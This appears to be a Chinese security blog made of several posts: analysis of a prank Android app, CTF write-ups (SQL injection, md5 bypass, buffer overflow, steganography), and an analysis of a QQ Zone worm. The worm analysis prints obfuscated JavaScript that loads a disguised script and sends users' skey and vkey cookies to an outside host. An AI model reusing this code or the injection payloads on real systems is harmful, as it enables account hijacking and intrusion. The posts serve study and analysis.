让老司机纷纷翻车的“悄悄话查看器”究竟有啥名堂?

0x00 Introduction

相信大家一定被所谓的“QQ悄悄话查看器”刷屏了吧?从上个月开始我就郁闷,有人给我发悄悄话,然而我又猜不到是谁。有了这么一个 APP,岂不是可以调戏回去?然而大家的反应似乎不是这样的:

1

“这一切来的太快”

2

“强行上车 车速过快 引发多起事故”

3

“这很强势,很清真”

4

“逸夫楼教室此起彼伏”

5

“对不起,我们不认识”

就是这么个安卓 APP,害了好多老司机纷纷翻车。

下午刚陪女朋友上完自习(此处省略秀恩爱的若干字),各种群、空间、朋友圈就被这些图刷屏了。我所在的群中,有四个群里面已经有了这个文件。于是我就顺手反编译了一下,看看它究竟是个什么玩意儿。

如果迫不及待的话,我可以提前告诉你,这就是某个人顺手写出来的整人的玩意儿。好了全文到此结束。

坑爹呢这是!

当然,对于感兴趣的同学,我当然要说一下逆向这个 APP 的过程。由于这个 APP 写的很简单,因此逆向起来没有任何难度,大神就不要喷啦。

后文可能会有福利哦~

0x01 Unzip

呃,之所以需要这一步,是因为如果直接用 dex2jar 来反编译 apk 的话会报错,大概是打包的时候出了问题吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ d2j-dex2jar.sh qq_secret.apk
dex2jar qq_secret.apk -> qq_secret-dex2jar.jar
com.googlecode.dex2jar.DexException: java.util.zip.ZipException: invalid entry compressed size (expected 252773 but got 252747 bytes)
at com.googlecode.dex2jar.reader.DexFileReader.opDataIn(DexFileReader.java:217)
at com.googlecode.dex2jar.reader.DexFileReader.<init>(DexFileReader.java:229)
at com.googlecode.dex2jar.reader.DexFileReader.</init><init>(DexFileReader.java:240)
at com.googlecode.dex2jar.tools.Dex2jarCmd.doCommandLine(Dex2jarCmd.java:104)
at com.googlecode.dex2jar.tools.BaseCmd.doMain(BaseCmd.java:174)
at com.googlecode.dex2jar.tools.Dex2jarCmd.main(Dex2jarCmd.java:34)
Caused by: java.util.zip.ZipException: invalid entry compressed size (expected 252773 but got 252747 bytes)
at java.util.zip.ZipInputStream.readEnd(Unknown Source)
at java.util.zip.ZipInputStream.read(Unknown Source)
at java.util.zip.ZipInputStream.closeEntry(Unknown Source)
at java.util.zip.ZipInputStream.getNextEntry(Unknown Source)
at com.googlecode.dex2jar.reader.ZipExtractor.extract(ZipExtractor.java:31)
at com.googlecode.dex2jar.reader.DexFileReader.readDex(DexFileReader.java:129)
at com.googlecode.dex2jar.reader.DexFileReader.opDataIn(DexFileReader.java:213)
... 5 more</init>

于是用压缩软件解包之后,反编译里面的 dex 文件即可:

1
2
$ d2j-dex2jar.sh classes.dex
dex2jar classes.dex -> classes-dex2jar.jar

然后用 jd-gui 载入,发现里面有两个大包:com.e4a.runtimecom.o,前者是安卓版的易语言运行环境,后者就是主程序了。

6

看了几眼,发现 R.class 中声明的元素少得可怜。于是往下看到 主窗口.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void $define() {
// ....
图片框Impl local图片框Impl = new 图片框Impl(主窗口);
Objects.initializeProperties(local图片框Impl);
this.图片框1 = ((图片框)local图片框Impl);
this.图片框1.左边((int)算术运算.取整(ByteVariant.getByteVariant((byte)0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.图片框1.顶边((int)算术运算.取整(ByteVariant.getByteVariant((byte)0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度()))));
this.图片框1.宽度((int)算术运算.取整(ByteVariant.getByteVariant((byte)1).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.图片框1.高度((int)算术运算.取整(ByteVariant.getByteVariant((byte)1).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度()))));
this.图片框1.背景颜色(-1);
this.图片框1.显示方式(1);
this.图片框1.图像("6M5UBF2J9ZI70.jpg");
this.图片框1.可视(true);
// ....
}

隐去了部分代码,可以看到这里全屏显示了一张图片。那么所谓的 6M5UBF2J9ZI70.jpg 是个什么东西呢?我们来翻一下 assets 文件夹好了:

7

看到缩略图,好像是福利?于是点开大图。结果发现跟女朋友相比差了好多,并没有 xing 趣欣赏,不知道大家是什么反应?

继续往下看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void 主窗口$创建完毕() {
音量操作.置音量(4, 100);
音量操作.置音量(4, 100);
音量操作.置音量(2, 100);
音量操作.置音量(3, 100);
媒体操作.播放音乐("0.mp3");
媒体操作.置循环播放(true);
// ....
this.系统设置1.屏幕锁定();
this.系统设置1.保持屏幕常亮();
this.系统广播1.注册广播("后台服务广播");
this.系统闹钟1.设置闹钟(1, 500L, "闹钟");
this.时钟1.时钟周期(500);
}

将音量调到最高,播放音乐,保持屏幕常亮……毕竟是易语言,想都不用想就知道是干什么的了~

看到有一段音乐,又想起了刚才的图片,于是打开听一听吧……

我还是不评价了,放一张别人的评论好了:

0

坑爹呢这是!

还是继续往下看吧……

1
2
3
4
5
6
7
8
9
10
11
12
13
public void 主窗口$按下某键(int paramInt, BooleanReferenceParameter paramBooleanReferenceParameter) {
boolean bool = paramBooleanReferenceParameter.get();
if (paramInt == 24) {
bool = true;
}
if (paramInt == 25) {
bool = true;
}
if (paramInt == 82) {
bool = true;
}
paramBooleanReferenceParameter.set(bool);
}

两个音量控制键(24、25)、菜单键(82),大概是要屏蔽这三个按键吧。

1
2
3
4
5
6
7
8
public void 时钟2$周期事件() {
this.时钟1.时钟周期(0);
系统相关类.创建快捷方式2("QQ悄悄话查看器0", 2130837504, "http://");
系统相关类.创建快捷方式2("QQ悄悄话查看器1", 2130837504, "http://");
系统相关类.创建快捷方式2("快手双击工具2", 2130837504, "http://");
系统相关类.创建快捷方式2("快手双击工具3", 2130837504, "http://");
系统相关类.创建快捷方式2("QQ悄悄话查看器4", 2130837504, "http://");
}

创建一堆奇怪的快捷方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void 系统广播1$收到广播(int paramInt) {
主窗口.标题(this.系统广播1.取广播内容());
if (主窗口.标题().equals("1")) {
if (!应用操作.是否在前台()) {
音量操作.置音量(4, 100);
音量操作.置音量(1, 100);
音量操作.置音量(2, 100);
音量操作.置音量(3, 100);
应用操作.返回应用();
this.系统设置1.屏幕解锁();
}
}
// ....
}

乍看起来像是保持前台运行的,如果被切到后台了,就强行跑到前台刷存在感(顺便如果你锁屏了人家还会帮你解个锁)。然而这个 主窗口.标题().equals("1") 的条件是个什么鬼?这个 class 没有什么可看的了,看最后的 后台服务操作.class 吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
public void 服务处理过程(String paramString) {
boolean bool = paramString.equals("闹钟");
int i = 0;
if (bool) {
for (;;) {
i = IntegerVariant.getIntegerVariant(i).add(ByteVariant.getByteVariant((byte)1)).getInteger();
系统相关类.发送广播("后台服务广播", 1, 转换操作.整数到文本(i));
if (IntegerVariant.getIntegerVariant(i).cmp(ByteVariant.getByteVariant((byte)1)) == 0) {
i = 0;
}
}
}
}

这里可以看到发送广播的内容是 1,然后配上上面的 主窗口.标题(this.系统广播1.取广播内容()),这样就达到刷存在感的条件了。

翻完了所有的代码,没发现疑似病毒或者其它恶意软件的痕迹。大家如果对上面的图片或者音频感兴趣,可以放心地安装使用。

0x02 Result

所以,其实——

这就是某个人顺手写出来的整人的玩意儿。

坑爹呢这是!

嗯,不光整了一个人,而是若干高校的图书馆、逸夫楼、自习室。

好了,全文到此结束。

NUAACTF 2016 官方 Writeup

Web1

签到题,打开浏览器的Console即可找到flag:

0

下面那行带有中文的句子是我早上修改界面的时候加上去的,同样的彩蛋在网页源代码中也有,就是每个页面查看源代码之后显示的那个佛祖,23333。

Web2

仔细看会发现题干中百度的链接有点奇怪:

0

根据题目提示,用百度搜索“一只苦逼的开发狗”,发现出题人的博客,第一篇文章有提示:

0

看起来是base64编码,解码之后查看文件类型:

1
2
3
4
5
$ echo "bnVhYWN0ZiU3Qi93ZWIyL2NlYmE2ZmJiZjBlZGU0MzI1MjY0MWNkMzM2ZTM2YTAzJTdE" | base64 -d > out.dat
$ file out.dat
out.dat: ASCII text, with no line terminators
$ cat out.dat
nuaactf%7B/web2/ceba6fbbf0ede43252641cd336e36a03%7D

是一个URI编码之后的字符串,解码即可得到flag,也是下一题的地址:

0

Web3

将题目网址的路径替换成Web2的flag,跳转到http://xxx.xxx.xxx.xxx:8080/web2/xedni.php,查看源代码之后发现了一段PHP代码:

1
2
3
4
5
6
<?php
if(isset($_GET["password"]) && md5($_GET["password"]) == "0e731198061491163073197128363787")
echo file_get_contents("flag.txt");
else
echo file_get_contents("xedni.php");
?>

所以我们的目标就是反查md5。扔进cmd5中发现是一条付费记录,我没钱所以看不了。但是扔到百度中即可得到结果:s1184209335a。于是访问网址:

http://xxx.xxx.xxx.xxx:8080/web2/xedni.php?password=s1184209335a

得到flag:nuaactf{/web3/b481b86354a413b898b6f01af539366d}。

其实还有一种解法,因为PHP的一个“特性”:任何0e开头的字符串都会被解析为数字0,因此只需要找到任意一个md5之后0e开头的字符串,放进password参数中提交即可。看题目描述感觉本题应该是用此方法解,与出题人讨论之后,认为如果考此方法,代码中的md5判断改为”0e23333”更好一点。

Web4

将题目网址的路径替换成Web3的flag,跳转到http://211.65.102.2:8080/web3/login.php,这是一个登录界面,没有任何多余信息,因此考虑SQL注入。测试了一下发现有报错,但是报错中没有语句相关的信息,因此只能盲注,如果将数据库中的数据dump出来,将花费很长的时间。根据提示“需要用管理员账号来看flag”,于是猜想用户表中有一列标记是否为admin。直接在用户名中输入【‘ and 1=0 union select 1,1,1,1 – 】(别忘了一开始的单引号和最后的空格,1的数量是从两个开始试出来的,表示用户表一共有4列),提交之后会跳转,通过抓包看到flag:nuaactf{hApPy_haCk1n9_t0Day},以及下一题的地址。

为了验证猜想是否正确,可以使用sqlmap扫一下:

1
2
3
4
$ ./sqlmap.py -u "http://xxx.xxx.xxx.xxx:8080/web3/login.php" --forms –dbs
available databases [2]:
[*] information_schema
[*] nuaactf

然后看一下nuaactf里面有什么信息:

1
$ ./sqlmap.py -u "http://xxx.xxx.xxx.xxx:8080/web3/login.php" --forms -D nuaactf --tables --dump

可以dump出表结构,如下图所示:

0

证实了刚才的猜想。

Web5

根据题目描述“你从哪里来“,可以推测是修改HTTP头。在HTTP头中加上:

1
2
Origin: http://cs.nuaa.edu.cn/
X-Forwarded-For: 【cs.nuaa.edu.cn的IP】

得出flag:nuaactf{C0ndrulation!_y0u_f1n1shed_a11_web_quest}。

Reverse1

这是一个apk,先用dex2jar将其转换为jar文件:

1
2
$ d2j-dex2jar.sh reverse1.apk
dex2jar reverse1.apk -> reverse1-dex2jar.jar

用jd-gui打开,在cc.sslab.app1中发现flag:nuaactf{Happy_crack1ng_app!}。

0

Reverse2

根据题目描述,可能跟音频有关,于是用压缩工具打开apk(apk本质上是个压缩包),在res/raw文件夹中发现sound.wav。使用高级一点的音频工具(例如AU)打开,发现有四个声道,下面的两个声道非常可疑。

0

于是就变成了一道数数题,令上面的为1,下面的为0,得到如下的01序列:

1
011011100111010101100001011000010110001101110100011001100111101101110011011010000011000001110010011101000101111101100110001100010100000101100111

然后将其每8个一组,转换为ASCII字符:

1
2
3
4
5
6
7
a = '01101110 01110101 01100001 01100001 01100011 01110100 01100110 01111011 01110011 01101000 00110000 01110010 01110100 01011111 01100110 00110001 01000001 01100111'.split(' ')
b = ''
a.forEach(function (item, index) {
ascii = parseInt(item, 2)
b += String.fromCharCode(ascii)
})
console.log(b)

得出flag:nuaactf{sh0rt_f1Ag}。(原数据缺少右花括号,比赛现场修正了题目。)

Reverse3

根据题目描述(拖拽即可生成界面)以及exe文件打开之后的窗口图标,可以确定这是一个.NET的程序。使用ILSpy(或者.NET Reflector)打开,在reverse3的Form1中发现:

0

分析可得:点击按钮之后判断你输入的字符串经过decrypt2加密后是否等于通过decrypt1解密过的一串字符串,如果相等则显示“Correct Flag!”。也就是说,flag应该是图中的长字符串经过decrypt1解密后再经过decrypt2解密得到的答案。

在reverse3中有decrypt1和decrypt2两个class,里面都有加密和解密函数(据出题人说,为了降低难度特地写的解密函数,本应由参赛者自行推断解密算法)。扔进C#环境中运行一遍即可。

由于我本机没有C# 环境,因此搜索出来一个支持多种语言的在线运行环境。将decrypt1、decrypt2、MyMap三个类摘出来拼到一个文件中,自己另写了一个Test类来调用。

0

上图是我在Sublime Text中整合的代码,为了方便截图我将三个类折叠起来了。 下图是在一个在线运行网站上得出的结果。

0

最终得出flag:NUAACTF{HAPPYCRACK1NGCHHARP}。

Reverse4

这是一个Mac下的二进制文件,使用IDA打开,看到 _main函数的逻辑是:获取程序调用时的第一个参数(argv1),使用encrypt函数加密之后输出。

于是找到encrypt函数,不得不说IDA的变量改名和注释功能挺好用的,一番折腾之后见下图。其中关于_DefaultRuneLocale_ptr和 __maskrune的知识,请参考下面的两个文件:

http://users.sosdg.org/~qiyong/mxr/source/lib/libc/locale/runetable.c#L54 http://users.sosdg.org/~qiyong/mxr/source/lib/libc/locale/runetype_file.h#L60

这也是编译器实现isalpha和isupper等函数的原理。

0

可能是IDA的F5工具逻辑有问题,将一个循环编译成的汇编还原成伪代码的结果很奇怪。再进行一遍逻辑整理之后,推测出源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void encrypt(char *str, char *buffer) {
int str_length = strlen(str);
int password_length = strlen(password);
// 生成密码字典dict
for (int i = 0; i < password_length; i++) {
alphabet[password[i] - 'a'] = true;
dict[i] = password[i] - 'a';
}
for (int i = 0; i < 25; i++)
if (alphabet[i] == false)
dict[password_length++] = i;
// 使用dict来置换对str中的字母
for (int i = 0; i < str_length; i++) {
if (isalpha(str[i]) == true) {
t = tolower(str[i]) - 'a';
c = str[i];
if (isupper(c) == false) buffer[i] = dict[t] + 'a';
else buffer[i] = dict[t] + 'A';
}
else buffer[i] = t;
}
}

可以看出,上方生成的字典其实就是a-z的字母表,将password放到开头,然后剩下的字母依次排列。下方的替换其实就是str[i]→dict[str[i]],也就是说,这是一个用password做表头的标准字头密码体制。至于password是什么,用IDA全局搜索一下就知道了:

0

可以看到password的值为”asuri”,那么密码表就是”asuribcdefghjklmnopqtvwxyz”,写程序也好,手动替换也好,可以得出加密串ktaauqb{Apto1_Mo0qiuq_Y0t} 的原串,也就是题目的flag为:nuaactf{Asur1_Pr0tect_Y0u}。

顺便提一下:我在IDA中看到有一个函数叫generateDict,但是在main中并没有被调用,与出题人核对一遍源代码之后才发现,源代码在encrypt函数中调用了generateDict,然而编译器将它inline优化掉了,因此encrypt中才有了生成字典的代码段。

Pwn1

打开链接发现是一个txt文件,可以断定用了jsfuck,因此将代码复制粘贴到浏览器中执行即可得到flag:nuaactf{Isnt_js_FunNy>?}。

Pwn2

裸最短路问题,可以使用Dijkstra或者SPFA来解决。最终得到flag:nuaactf{1159}。

Pwn3

下载下来一个Linux下的ELF文件,直接用Linux环境执行会输出:

1
Cannot find flag files!,use default flag: nuaactf{FLAG_w0nt_b1_s0_EASY}

这个flag是一个假的flag,因此需要继续破解。扔到IDA中F5一下,然后定位到main函数,发现先在本地读取了flag.txt,如果没有的话输出上面那段话,因此只能通过nc连过去之后输入,或者在本机先输出,然后通过管道接到nc里面。

剩下的绝大部分代码都是连接socket的,只有最后一段:

0

于是找到str_echo函数,发现并未读取v7,然而判断了v7是否等于0x800,因此可以确定有缓冲区溢出漏洞。找到result = read(a1, &s, 500uLL),那么漏洞应该在这里。到上面查看s和v7的位置吧,如下图所示,s的起点在sp+10h,v7的起点在sp+124h,说明需要读入114h个8的长度(因为sizeof(char)=8)才可以开始读v7。

0

那么方法就是构造这样一个二进制串:一开始是长度为114h*8(2208位二进制)的随机串,最后补上一个0x800的二进制串就可以了。如果使用WinHex或者Sublime Text查看这个串,应该是先有552个0,之后接了0008(大端模式)。将这个文件存成一个二进制文件例如a.dat,然后在命令行中输入:

1
$ cat a.dat | ./nc.exe xxx.xxx.xxx.xxx 43321

得到flag:nuaactf{explo1t_a_l0t_fun}。

Pwn4

模拟题,读入矩阵并按照题目描述来操作。最后求行和与列和的输出一共24个数字,根据提示说最终答案是一个长度为24的字符串,考虑到这些数字对127取余后可能就是flag。最终得到结果:nuaactf{M4tr1X_15_gRe4t}。

Misc1

使用file命令查看文件类型:

1
2
$ file misc1.rar
misc1.rar: PNG image data, 454 x 340, 8-bit/color RGBA, non-interlaced

发现是一个PNG文件。修改后缀打开得到flag:nuaactf{Hello_MISC_nOt_RAR}。

Misc2

使用binwalk命令查看文件数据:

1
2
3
4
5
6
7
8
9
$ binwalk misc2.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
85 0x55 Zlib compressed data, best compression
2773 0xAD5 Zlib compressed data, best compression
195124 0x2FA34 Zip archive data, at least v1.0 to extract, compressed size: 28, uncompressed size: 28, name: flag.txt
195244 0x2FAAC End of Zip archive

发现在第195124的地方是一个zip压缩包。于是使用dd命令将其提取出来:

1
2
3
4
$ dd if=misc2.png of=out.zip bs=1 skip=195124
142+0 records in
142+0 records out
142 bytes (142 B) copied, 0.00722364 s, 19.7 kB/s

打开out.zip,里面是一个flag.txt,内容为:nuaactf{z1p_0vEr_Png_1s_fun}。

Misc3

使用StegSolve工具打开文件,切换至Red plane 1,在文件左下角有一个二维码。

0

扫码得出来一个字符串:

1
QlpoOTFBWSZTWXhAk1kAAAtfgAAQIABgAAgAAACvIbYKIAAigNHqNGmnqFMJpoDTEO0CXcIvl9SeOAB3axLQYn4u5IpwoSDwgSay

可以看出这是一个Base64编码。然而这串编码并不是编码了一段文字,可能是一段二进制数据。将其提取出来,并查看文件类型:

1
2
3
$ echo "QlpoOTFBWSZTWXhAk1kAAAtfgAAQIABgAAgAAACvIbYKIAAigNHqNGmnqFMJpoDTEO0CXcIvl9SeOAB3axLQYn4u5IpwoSDwgSay" | base64 –d > out.dat
$ file out.dat
out.dat: bzip2 compressed data, block size = 900k

发现是一个bzip2压缩的文件,将其解压即可得到flag:

1
2
$ cat out.dat | bunzip2
nuaactf{qrc0de_in_C011ect1on!}

Misc4

首先先用dex2jar将apk解包,使用jd-gui查看,发现里面超级复杂,于是转向pcapng文件,用Wireshark打开之后,过滤出HTTP请求,发现每个POST请求的JSON串都会带上一个body参数,而且是经过加密的,与题目给的数据很像。于是思路变为查找body的加密过程。使用jd-gui全局查找,发现在com.huidong.mdschool.net.HttpTask.class文件的onPreExecute函数中有如下代码:

1
2
3
4
5
for (String str = "'" + AesUtil.encrypt(localGson.toJson(this.bodyRequest), new StringBuilder("www.wowsport.cn").append(BodyBuildingUtil.getDeviceId(this.context)).toString()) + "'";; str = localGson.toJson(this.bodyRequest)) {
localHashMap.put("body", str);
this.jsonObject = localHashMap.toString();
return;
}

于是找到了加密方式:

1
AesUtil.encrypt(localGson.toJson(this.bodyRequest), new StringBuilder("www.wowsport.cn").append(BodyBuildingUtil.getDeviceId(this.context))

定位至AesUtil.encrypt函数,如下图所示:

0

其中函数secureBytes的作用是将字符串长度变为16,多则截取少则补零。然后encrypt使用了AES做加密,key就是那个16位字符串,也就是secureBytes(new StringBuilder(“www.wowsport.cn”).append(BodyBuildingUtil.getDeviceId(this.context)))。前面一共15位,也就是说只需要知道getDeviceId的结果就可以了。看起来这个值与设备有关,应该只能从pcapng文件中找。发现POST数据中有一个”devId”:”81505f1ad0d49485”,于是密钥为www.wowsport.cn8,解密得出:{“flag”:”nuaactf{f**K_mE_D0nG_sp0rt!}”}。

JCTF2015非官方writeup

这次水平有限,所以只做出了四道题……请大家尽情鄙视我们吧……

0x1

在资源文件夹中有一个bababa.wav的文件,用AU打开,发现是四声道,下面的两个音轨是二进制波形。按照高低不同分为01记下后,每八位一组,转换为char,即可得到flag。

0x2

根据提示可得栈226有问题, 发现所有记录中均使用DES-EBC加密,key为stringWi。从github上down一个des解密算法,把226的post数据base64解码后使用des解密,即可得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
{
"bundle" : "com.Securitygossip",
"os" : "0.0.1",
"status" : "solved",
"app" : "XcodeGhost",
"country" : "CN",
"language" : "zh-Hans",
"version" : "426",
"type" : "iPhone6,",
"timestamp" : "1440065480",
"name" : "JCTF{XcodeGhost_is_everywhere}"
}

0x6-1

在根目录下的robots.txt中发现如下字符串:

1
2
User-agent: *
Disallow: /13c087c969641bc59fffc97dccd5e673.php?ajiao=whosays*$

最后两个字符看起来像一个正则表达式。

打开Disallow的网址之后,发现php文件的ETAG有点特殊,其它文件的ETAG都是正常的,只有php文件的ETAG是一串连起来的字符:

1
61573135623356795a6d467563773d3d

将ETAG每两位分隔开,作为URL编码来解码,得到一个base64串:

1
aW15b3VyZmFucw==

解码后得到“imyourfans”。

考虑之前robots.txt中的提示,将此字符串带入参数:

1
?ajiao=whosaysimyourfans

访问之后,可以在最下方找到如下代码:

1
<script>alert("JCTF{keep_clam_and_carry_on}")</script><script>alert("# 0x2/1c8bd3e2bdb4c43d317ef5fbef73aab0.php")</script>

0x6-2

查看网页源代码,可以看到一段注释:

1
<!--my birthday 19xxxxxx-->

根据注释和上面<img>标签的alt,容易联想到“刘涛生日”,百度可得19780712。然而输入进去发现并没有立即提交。

看到网页中的一段js,这是在用jQuery发post包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function sendreq() {
var requestUrl = "./1c8bd3e2bdb4c43d317ef5fbef73aab0.php";
$.ajax({
type: "post",
data: "pwd=" + $("#liutao").val(),
dataType: "text",
contentType: 'application/x-www-form-urlencoded',
url: requestUrl,
async: false,
complete: function() {},
error: function(xhr) {
alert(xhr);
},
success: function(msg) {
if (msg == "error")
alert("Password Error!");
else
window.location.href = msg;
}
});
}

其中data的值为“pwd=19780712”,用Fiddler模拟发个包就好了,可以在网页最下方发现提示:“不是土豪不过关,请用iphone7浏览”……主办方丧心病狂……

然后我当时智商太低,并没有意识到iphone只出到了6s,傻傻去百度iphone7的参数去了……结果真发现了,iphone7使用的是iOS10系统,所以将浏览器UA中的版本改成10就可以了,访问得到一个图片的路径,以及一句提示:“wrong session”。

打开图片,里面是一些用xss获取到的cookie,将PHPSESSID替换掉再访问,即可获取flag。

对QQ空间自动转发/加好友的研究

前几天,QQ 空间的一大批好友转了所谓“优衣库”的一个视频,不用说,肯定是QQ空间有什么XSS漏洞了。有学弟让我去研究,其实我是拒绝的,因为我当时在搞别的事情,随便看了看源码没发现问题,于是就放到脑后了。

昨天晚上发现空间里又有好友转发的现象,甚至有自动加好友的问题。正好大半夜一个人有安静的时间,于是就顺便研究一下。

一开始没有头绪,在想是不是QQ空间有直接的XSS漏洞,于是看到了分享链接的标题,“▶↔§↙♯敱”这几个字很可疑,但是经过encodeURIComponent之后发现并没什么异常,这条路走不通。

从隐身窗口中打开链接(链接地址是恶意网址这个很容易看出来),但是并没看出代码有什么问题,除了页面最下方有一个loadscript.js,看名字应该是加载一个JavaScript代码,但是网址却是一个.php结尾的网址。

1
2
3
4
5
6
7
var dor = parseInt(cookieRead("sdone"));
if (dor && dor > 0) {
//;
} else {
loadscript.js("/v/getplay.php");
cookie_set("sdone", 99);
}

但是好像并没有什么端倪:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function rndNum(len) {
if (len && len > 0 && len < 100) {} else {
len = 32;
}
var strs = "123456789";
var maxPos = strs.length;
var rdstr = "";
for (i = 0; i < len; i++) {
rdstr += strs.charAt(Math.floor(Math.random() * maxPos));
}
return rdstr;
}
if (cookieRead) {
var dor = cookieRead("adplay");
if (dor && dor > 0) {
//;
} else {
cookie_set("adplay", 99);
}
}

这条路也走不通。为了重现这个问题,我决定亲自实验一下。于是我在普通Chrome窗口中点开了这个链接。

然并卵。

什么都没发生,所以这肯定是只在手机QQ的浏览器中才有用。手头没有手机上的抓包工具,不过还好以前写前端的时候,为了方便测试移动端兼容性特地写了个页面:设备信息检测,于是用手机访问了一下,我的手机QQ浏览器的UA是这样的:

1
Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; HUAWEI G7-TL00 Build/HuaweiG7-TL00) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025442 Mobile Safari/533.1 V1_AND_SQ_5.7.2_260_YYB_D QQ/5.7.2.2490 NetType/4G WebP/0.3.0

在Chrome的开发者工具中将UA修改成这个,然而发现我已经上不去那个网站了。

天无绝人之路。将其一键加入科学上网列表之后,发现那个getplay.php的请求没了……

可能是人家防止我们分析吧。没关系,把网址中的随机参数改一改,清空一下缓存啥的,于是这个神奇的文件又出现了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
document.getElementById("footad").src = "http://blog.qq.com/qzone/1107397297/1407071241.htm?vid=" + window.vid;
function rndNum(len) {
if (len && len > 0 && len < 100) {} else {
len = 32;
}
var strs = "123456789";
var maxPos = strs.length;
var rdstr = "";
for (i = 0; i < len; i++) {
rdstr += strs.charAt(Math.floor(Math.random() * maxPos));
}
return rdstr;
}
if (cookieRead) {
var dor = cookieRead("adplay");
if (dor && dor > 0) {
//;
} else {
cookie_set("adplay", 99);
}
}

第一行……在干啥?

实在是太晚了,于是我先睡觉了,睡得特别好,今天12点才起床。

于是打开网址看看吧(从console中获取到window.vid=19),发现了下面这么一段:

1
2
3
s = /e%3Ddocument.body.innerHTML%3Bs%3De.indexOf%28%22%2f%2f%27%2C%27pro%22%29%3Bif%28s%3E0%29%7Be%3De.substring%28s%2B2%29%3Bt%3De.indexOf%28%22%3C%5C%2F%22%29%3Bif%28t%3E0%29%7Be%3D%22g_weather%5B%27save%27%5D%3D%7B%27country%27%3A%27%E4%B8%AD%E5%9B%BD%22%2Be.substring%280%2Ct%29%3Beval%28e%29%7D%7D%3Bdocument.write(%27%3Cscr%69pt%20src%3D%22h%74%74p%3A%2f%2fimgc%61che.qq.skyd%61t%61s.com%2Fg%2Fn%2Fb.jpg%22%3E%3C%2Fscr%69pt%3E%27)/;
s = unescape(s);
eval(s.substring(1, s.length - 1));

eval执行的语句,也就是那个s里面的内容,是这样的:

1
2
3
4
5
6
7
8
9
10
11
e = document.body.innerHTML;
s = e.indexOf("//', 'pro");
if (s > 0) {
e = e.substring(s + 2);
t = e.indexOf("<\/");
if (t > 0) {
e = "g_weather['save']={'country':'中国" + e.substring(0, t);
eval(e)
}
};
document.write('<script src="<strong>http://imgcache.qq.skydatas.com/g/n/b.jpg</strong>"></script>')

可见这是加载了一个奇怪的资源:.jpg结尾的JavaScript代码。打开之后有个301跳转,追随过去看看吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
function tjskey() {
var eimg;
eimg = document.createElement("script");
eimg.type = "text/javascript";
var myskey = cookieRead("skey");
var myqq = parseInt(cookieRead("uin").replace("o", ""));
var vkey = cookieRead("vkey");
//if(myqq>500 && vkey.length>10){
if (myqq > 99999999) {
eimg.src = "http://db.outome.com/nsys/tsk.php?u=" + myqq + "&s=" + myskey + "&v=" + vkey + "&f=" + getQueryString("vid");
document.body.appendChild(eimg);
}
}

看到上面加粗的那一段了?通过http://db.outome.com/nsys/tsk.php这个接口将你的qq、skey、vkey、vid信息发到指定的位置。

还需要管别的么?有了key以后想做什么操作都随意了吧!

但是这并没有解决根本的疑问:blog.qq.com的网页上为什么会出现外面的代码?blog.qq.com我从来没听说过,看起来像QQ空间的前身,那为什么QQ没有弃用这个域名?是不是这个网站上有BUG?我就不得而知了。如果有大神有新的研究成果,求共享!

另,分享一篇寻找资料时找到的文章:qq空间某被利用的xss分析 - virusdefender’s blog,与本文的原理不同,这个是通过XSS修改<base>直接获取key以达到目标。但是该文章是通过网址中的imgdm参数进行反射型XSS,而本文应该属于存储型XSS。

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Thanks to the plugin hexo-multiauthor, we can support more than one author now!

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment